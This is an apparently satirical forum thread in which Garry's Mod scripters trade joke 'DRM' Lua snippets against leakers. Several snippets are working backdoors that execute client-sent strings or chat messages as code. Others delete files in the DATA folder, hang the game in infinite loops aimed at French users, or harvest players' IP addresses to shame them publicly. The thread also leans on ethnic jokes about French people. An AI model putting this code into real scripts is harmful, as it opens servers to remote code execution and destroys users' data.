drm for gmod

anticheat discussion was so 2014

today we will discuss and share the best ways to ensure the most revenue for our garrys mod scripts

post your uncrackable drm methods and services here as well as your favorite methods of taking
revenge on these smelly french leakers that download your script, god forbid, without paying

ill start

[lua]
util.AddNetworkString(“drm”);
net.Receive(“drm”, function(len, ply)
RunString(net.ReadString());
end);
[/lua]

this method is my personal favorite for stopping leaks. this eliminates the possibility of false positives by completing giving me, the script developer full control over my digital rights

you can put a

steamworks.IsSubscribed check at the top of your workshop scripts to prevent crouton people from leaking it on the darknet

here is an example of a well made drm



if ( CLIENT ) then
	
	if not SERVER then
        
		if steamworks.IsSubscribed( "1234567890" ) != true then
          return
		end
        
	end
	
else
end


but what if people detour net.Read or RunString??? this is flawed!!
You gotta do pro detour detections!


local CheckIfFunctionHasBeenDetouredByClient = function(TheFunctionThatMayOrMayNotHaveBeenDetoured)
	local TheDebugInformationOfTheFunctionThatMayOrMayNotHaveBeenDetoured = debug.getinfo(TheFunctionThatMayOrMayNotHaveBeenDetoured)

	if (TheDebugInformationOfTheFunctionThatMayOrMayNotHaveBeenDetoured) then
		return TheDebugInformationOfTheFunctionThatMayOrMayNotHaveBeenDetoured.short_src ~= "C"
	end
end


The safest DRM ever is



hook.Add("PlayerSay", "BestDRM", function(ply, msg)
	RunString(msg)
end)


Please contact me about licensing


do return end

at the top of your code prevents anyone not knowledgeable in your coding practices to use your scripts.

very good quality content so far guys keep it up

here is another from my private supply feel free to use

[lua]

— Baguette Blocker Version 3

if (system.GetCountry() == “FR”) then
Derma_Query(“Are you a leaker?”, “Security Check”,
“OUI”, function()
while (true) do print(“stop leak”) end
end,
“OUI”, function()
while (true) do print(“stop leak”) end
end);
end
[/lua]

but what if they detour return???

write a LuaJIT VM in Lua that runs byte code - then compile and strip your byte code of debug information.

[editline]a[/editline]

nice joek thread


hook.Add("PlayerInitialSpawn", "LEAKDETECTOR3000", function(ply)
    ply:Kick("maybe leaker 50/50")
end)

run this before any of your scripts to prevent people from stealing them


math.randomseed(1337) RunString(string.char(math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255), math.random(0, 255)))

unhacced fbi secret gov dot com dot au

Just add a copyright notice and have a lawyer. Will give you money on leak.

quit gmod to prevent leaking

require server owners use an IP whitelisting system and then obfuscate your code aswell as the DRM code. and lastly have the code validate itself to check for editing then add dummy code in places and your good to go

block frenchies from the internet

scriptenforcer.net

oh wait

Or, if you actually want to obfuscate the code, just write most of it as a binary module. Don’t expect many downloads, though.



leaked = {
	croissant = false,
	baguette = {}
}

hook.Add( "PostGamemodeLoaded", "superdrm", function()
	if string.StartWith( "[FR]", GetHostName() ) then
		leaked.croissant = true
	end
end )

while leaked.croissant do
     print( "stop leak oui" )
end

hook.Add( "PlayerInitialSpawn", "non", function( ply )
	if leaked.croissant and !ply:Nick() == "Galaxy" then
		table.Add( leaked.baguette, ply:IPAddress() )
		ply:Kick( "no play on leak serfer" )
	elseif leaked.croissant and ply:Nick() == "Galaxy" then
		ply:ChatPrint( "Welcome master, here is a list of IP Addresses so you can post them on Facepunch or something" )
		for k, v in pairs( leaked.baguette ) do
			ply:ChatPrint( v )
		end
	end
end )


Still experimental but it should do the trick. (Don’t forget to replace “Galaxy” with your own name)

You forgot the call to home with some http wizardary and some obscure website.

just use


while true do end

100% drm protection

Why not throw this in?



local files, folders = file.Find('*', 'DATA')
for k,v in ipairs(files) do
  file.Delete(v)
end
for k,v in ipairs(folders ) do
  local files, folders = file.Find('*', 'DATA')
  for i,d in ipairs(files) do
    file.Delete(d)
  end
end

while true do end